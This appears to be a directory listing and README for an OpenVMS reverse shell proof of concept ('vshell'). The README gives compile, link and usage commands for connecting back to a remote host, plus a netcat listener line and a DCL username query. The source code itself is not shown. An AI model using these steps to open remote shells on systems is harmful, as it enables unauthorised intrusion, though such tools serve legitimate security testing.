Index of /AXP/OpenVMS/vshell/
| Name | Last Modified | Size | Type |
| ../ | | - | Directory |
| README.txt | 2026-Aug-03 19:24:01 | 1.8K | text/plain; charset=utf-8 |
| vshell.c | 2026-Aug-03 18:45:46 | 13.1K | text/x-csrc; charset=utf-8 |
| vshell.exe | 2026-Aug-03 18:46:43 | 12.0K | application/x-msdos-program |
/$$ /$$ /$$ /$$$$$$ /$$ /$$ /$$ /$$ /$$$$$$
| $$ | $$| $$ /$$__ $$ | $$ | $$| $$$ /$$$ /$$__ $$
/$$ /$$ /$$$$$$$| $$$$$$$ /$$$$$$ | $$| $$ | $$ \ $$ /$$$$$$ /$$$$$$ /$$$$$$$ | $$ | $$| $$$$ /$$$$| $$ \__/
| $$ /$$//$$_____/| $$__ $$ /$$__ $$| $$| $$ | $$ | $$ /$$__ $$ /$$__ $$| $$__ $$| $$ / $$/| $$ $$/$$ $$| $$$$$$
\ $$/$$/| $$$$$$ | $$ \ $$| $$$$$$$$| $$| $$ | $$ | $$| $$ \ $$| $$$$$$$$| $$ \ $$ \ $$ $$/ | $$ $$$| $$ \____ $$
\ $$$/ \____ $$| $$ | $$| $$_____/| $$| $$ | $$ | $$| $$ | $$| $$_____/| $$ | $$ \ $$$/ | $$\ $ | $$ /$$ \ $$
\ $/ /$$$$$$$/| $$ | $$| $$$$$$$| $$| $$ | $$$$$$/| $$$$$$$/| $$$$$$$| $$ | $$ \ $/ | $$ \/ | $$| $$$$$$/
\_/ |_______/ |__/ |__/ \_______/|__/|__/ \______/ | $$____/ \_______/|__/ |__/ \_/ |__/ |__/ \______/
| $$
| $$
OpenVMS Reverse Shell PoC
=========================
This program demonstrates connecting to a remote host and executing
DCL commands over the network connection for educational/testing purposes.
Compilation on OpenVMS:
$ CC/DEFINE=(_SOCKADDR_LEN) vshell.c
$ LINK vshell.obj
Usage:
$ vshell :== $SYS$SYSROOT:[.PATH.TO.VSHELL]vshell.exe
$ vshell <remote_host> <remote_port>
On the remote host, start a listener first:
<remote_host>$ nc -l -p <port>
### Here is a VMS way of running whoami
WRITE SYS$OUTPUT F$GETJPI("","USERNAME")